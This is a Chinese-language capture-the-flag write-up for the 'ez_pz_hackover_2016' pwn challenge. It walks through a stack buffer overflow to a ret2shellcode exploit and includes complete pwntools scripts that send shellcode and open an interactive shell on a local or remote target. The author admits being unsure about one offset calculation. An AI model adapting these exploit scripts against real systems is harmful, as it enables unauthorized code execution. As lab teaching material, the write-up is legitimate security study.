1.检查文件,NX保护未打开可以用ret2shellcode,拖入ida看源码。主要是chall和vuln部分。
2.chall中主要看三个部分,首先打印出变量s的地址年,后面往s中标准输入,最后以它和crashme作比较判断是否能进入vuln函数。
函数说明:
1.strlen(arg):返回参数字符的长度。
2.memchr(*s, c, size_t n):*s是要搜索的缓冲区,c是搜索的字符(转为ASCⅡ代码),n表示搜索前n个长度。
3.strcmp(a1,a2,n):提取a1和a2的前n个字符作比较(此题中只有两个参数,涉及到strcmp的性质,就是遇到\0后自动结束比较。)
相等返回0
a1>a2返回大于0
a1<a2返回小于0(ASCⅡ比较)
4.memcpy(&dest, *src, n):同strncpy函数相似,复制src的前n个字符到dest中。
3.首先运行虚拟机,用gdb调试函数流程,最终函数要保证进入到vuln函数进行下一步操作,那么就要输入crashme,使得strcmp返回0,!result即为真。首先在ida中进入vuln,空格键在汇编窗口和文本窗口切换,找到nop指令(vuln简称漏洞函数部分,nop指令是此处汇编中程序的中断点,在此下节点有助于攻击者后面调试和分析程序)。
4.查看栈'cr'因为小端序的缘故打印出了ASCⅡ码63和72,分别对应左边栈上序列的0x22,0x23,可以推出输入数据地址在栈上此处0x22位置,ebp的栈序列为0x38,则输入地址与栈底相距0x38-0x22=0x16。构造payload的补充字符时注意,发送的crashme\x00,已经占据8个字节,加上ebp的4个字节总共是0x16-0x8+0x4 = 0x12。
5.已经知道了ebp与接收地址的距离,接下来计算返回的shellcode地址,运行此脚本:
from pwn import*
io = process('./ez_pz_hackover_2016')
#io = remote('nodeX.buuoj.cn',XXXX)
gdb.attach(io,'b *0x08048600')#运行脚本的同时gdb调试
io.recvuntil('crash: ')
s_addr = int(io.recv(10),16)#接受10个字节是加上了0x,这样io.recvuntil('crash: 0x') int(io.recv(8),16)也可以
print('s_addr ='+hex(s_addr))
shellcode = asm(shellcraft.sh())
payload = b'crashme\x00' + b'a'*0x12
payload += p32(0)#返回shellcode地址,因为不知道所以先代替 + shellcode
io.sendline(payload)
pause()#调试终端命令,等待攻击者下一步操作分析。在interactive()前
io.interactive()
运行中断后按c(注意),再次进入栈中,找到jhh,输入:
search jhh
找栈上地址,是0xffd25830。
之前运行终端打印的s_addr,两者相减即为shellcode返回地址与s的距离(distance命令)。则payload中该处改为p32(s_addr - 0x1c)(此处不明白为什么是减,不应该是加吗?emmmm.......以后明白再解释嘿嘿)
6.连接远程端口,wp如下,欢迎各位师傅指正批教!
from pwn import*
#io = process('./ez_pz_hackover_2016')
io = remote('nodeX.buuoj.cn',XXXX)
#gdb.attach(io,'b *0x08048600')
io.recvuntil('crash: ')
s_addr = int(io.recv(10),16)
print('s_addr ='+ hex(s_addr))
shellcode = asm(shellcraft.sh())
payload = b'crashme\x00' + b'a'*0x12
payload += p32(s_addr - 0x1c) + shellcode
io.sendline(payload)
#pause()
io.interactive()